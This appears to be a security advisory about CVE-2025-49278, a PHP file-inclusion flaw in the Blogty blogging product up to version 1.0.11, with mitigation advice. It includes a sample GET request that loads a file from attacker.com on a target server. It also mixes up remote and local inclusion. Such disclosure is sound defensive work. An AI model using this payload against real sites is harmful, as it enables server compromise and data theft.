Overview
A critical vulnerability, CVE-2025-49278, has been discovered within the Unfoldwp Blogty platform, a widely used blogging tool. This high-risk issue is a result of an improper control of filename for include/require statement in PHP programming, colloquially known as PHP Remote File Inclusion (RFI). The vulnerability has significant ramifications, as it allows PHP Local File Inclusion leading to potential system compromise or data leakage. Thus, it is essential for anyone using Blogty, up to version 1.0.11, to understand the implications and take immediate steps to secure their systems.
Vulnerability Summary
CVE ID: CVE-2025-49278
Severity: High (CVSS: 8.1)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, Data leakage
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Product | Affected Versions
Unfoldwp Blogty | Up to 1.0.11
How the Exploit Works
This vulnerability arises from a lack of proper sanitization of user-supplied input in the PHP include/require statements used in Unfoldwp Blogty. An attacker can manipulate these statements to include remote files that are executed in the context of the webserver. This can lead to unauthorized access, data leakage, or even a complete system compromise, depending on the permissions assigned to the webserver.
Conceptual Example Code
The following hypothetical HTTP request depicts how an attacker might leverage this vulnerability by sending a malicious payload through the vulnerable endpoint:
GET /vulnerable_page.php?file=http://attacker.com/malicious_file.txt HTTP/1.1
Host: target.example.comIn this example, the attacker is attempting to include ‘malicious_file.txt’ hosted on their server. If the request is successful, the server will execute the content of ‘malicious_file.txt’, leading to a potential system compromise or data leakage.
Mitigation Guidance
As a matter of urgency, users of Unfoldwp Blogty should apply the latest vendor patch to mitigate this vulnerability. In situations where immediate patching is not feasible, deploying a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary protection by filtering potentially malicious traffic. However, these are merely temporary measures-applying the vendor’s patch remains the ultimate solution to this vulnerability.